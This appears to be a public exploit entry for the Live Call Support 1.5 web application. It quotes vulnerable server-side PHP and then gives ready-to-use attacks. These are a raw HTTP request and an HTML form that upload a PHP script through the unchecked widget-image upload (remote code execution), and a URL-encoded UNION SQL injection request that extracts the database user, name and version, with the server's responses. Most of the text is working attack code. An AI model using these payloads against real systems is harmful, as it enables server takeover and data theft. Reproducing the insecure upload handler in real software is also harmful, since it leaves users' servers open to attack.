134 lines
No EOL
4.3 KiB
Text
134 lines
No EOL
4.3 KiB
Text
# Exploit Title: Live Call Support 1.5 - Remote Code Execution / SQL Injection
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# Dork: N/A
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# Date: 2019-01-13
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# Exploit Author: Ihsan Sencan
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# Vendor Homepage: http://ranksol.com/
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# Software Link: https://codecanyon.net/item/live-call-support-widget-software-online-calling-web-application/22532799
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# Version: 1.5
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# Category: Webapps
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# Tested on: WiN7_x64/KaLiLinuX_x64
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# CVE: N/A
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# POC:
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# 1)
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# http://localhost/[PATH]/server.php
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#
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#/[PATH]/server.php
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#912 case "save_settings":{
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#913 if($_FILES['call_widget_image']['name']!=''){
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#914 $ext = getExtension($_FILES['call_widget_image']['name']);
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#915 $fileName = uniqid().'.'.$ext;
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#916 $tmpName = $_FILES['call_widget_image']['tmp_name'];
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#917 $res = move_uploaded_file($tmpName,'images/'.$fileName);
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#918 if($res){
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#919 $fileName = $fileName;
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#920 @unlink('images/'.$_REQUEST['hidden_call_widget_image']);
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#921 }else{
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#922 $fileName = $_REQUEST['hidden_call_widget_image'];
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#923 }
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#924 }else{
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#925 $fileName = $_REQUEST['hidden_call_widget_image'];
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#926 }
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POST /[PATH]/server.php HTTP/1.1
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Host: TARGET
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User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
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Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
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Accept-Encoding: gzip, deflate
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Content-Type: application/octet-stream
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Content-Length: 592
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Cookie: PHPSESSID=5fd1dbc1e4c6b5876e1f44dbc157af9f
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DNT: 1
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Connection: keep-alive
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Upgrade-Insecure-Requests: 1
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-----------------------------307672102411665: undefined
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Content-Disposition: form-data; name="call_widget_image"; filename="phpinfo.php"
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<?php
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phpinfo();
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?>
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-----------------------------307672102411665
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Content-Disposition: form-data; name="hidden_call_widget_image"
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5c3b2a6842c13.png
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-----------------------------307672102411665
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Content-Disposition: form-data; name="settings_id"
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1
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-----------------------------307672102411665
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Content-Disposition: form-data; name="cmd"
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save_settings
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-----------------------------307672102411665--
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HTTP/1.1 302 Found
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Date: Sun, 13 Jan 2019 12:14:24 GMT
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Server: Apache
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X-Powered-By: PHP/7.1.25
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Access-Control-Allow-Origin: *
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Expires: Thu, 19 Nov 1981 08:52:00 GMT
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Cache-Control: no-store, no-cache, must-revalidate
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Pragma: no-cache
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Vary: Accept-Encoding
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location: settings.php
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Keep-Alive: timeout=5, max=100
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Connection: Keep-Alive
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Transfer-Encoding: chunked
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Content-Type: text/html; charset=UTF-8
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# POC:
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# 2)
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# http://localhost/[PATH]/server.php
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#
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<html>
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<body>
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<form action="http://localhost/[PATH]/server.php" method="post" enctype="multipart/form-data">
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<div class="form-group">
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<label>Call Widget Image</label>
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<input name="call_widget_image" type="file">
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<input name="hidden_call_widget_image" value="5c3b2a6842c13.png" type="hidden">
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</div>
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<div class="form-group">
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<input name="settings_id" value="1" type="hidden">
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<input name="cmd" value="save_settings" type="hidden">
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<input value="Save" class="btn btn-primary" type="submit">
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<input value="Back" class="btn btn-default" onclick="history.go(-1)" type="button">
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</div>
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</form>
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</body>
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</html>
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# POC:
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# 3)
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# http://localhost/[PATH]/add_widget.php?wid=[SQL]
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#
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#04 if($_REQUEST['wid']!=''){
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#05 $widget = getWidget($_REQUEST['wid']);
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#06 $pageTitle = 'Edit Widget';
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#07 }else{
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#08 $pageTitle = 'Create Widget';
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#09 }
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GET /[PATH]/add_widget.php?wid=%2d%34%27%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%201,%43%4f%4e%43%41%54%5f%57%53%28%30%78%32%30%33%61%32%30%2c%55%53%45%52%28%29%2c%44%41%54%41%42%41%53%45%28%29,%56%45%52%53%49%4f%4e()%29%2c%33%2c%34%2c%35%2c%36%2c%37%2c%38%2c%39%2d%2d%20%2d HTTP/1.1
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Host: TARGET
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User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
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Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
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Accept-Encoding: gzip, deflate
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Cookie: PHPSESSID=5fd1dbc1e4c6b5876e1f44dbc157af9f
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DNT: 1
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Connection: keep-alive
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Upgrade-Insecure-Requests: 1
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HTTP/1.1 200 OK
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Date: Sun, 13 Jan 2019 12:34:12 GMT
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Server: Apache
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X-Powered-By: PHP/7.1.25
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Expires: Thu, 19 Nov 1981 08:52:00 GMT
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Cache-Control: no-store, no-cache, must-revalidate
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Pragma: no-cache
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Vary: Accept-Encoding
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Keep-Alive: timeout=5, max=100
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Connection: Keep-Alive
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Transfer-Encoding: chunked
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Content-Type: text/html; charset=UTF-8 |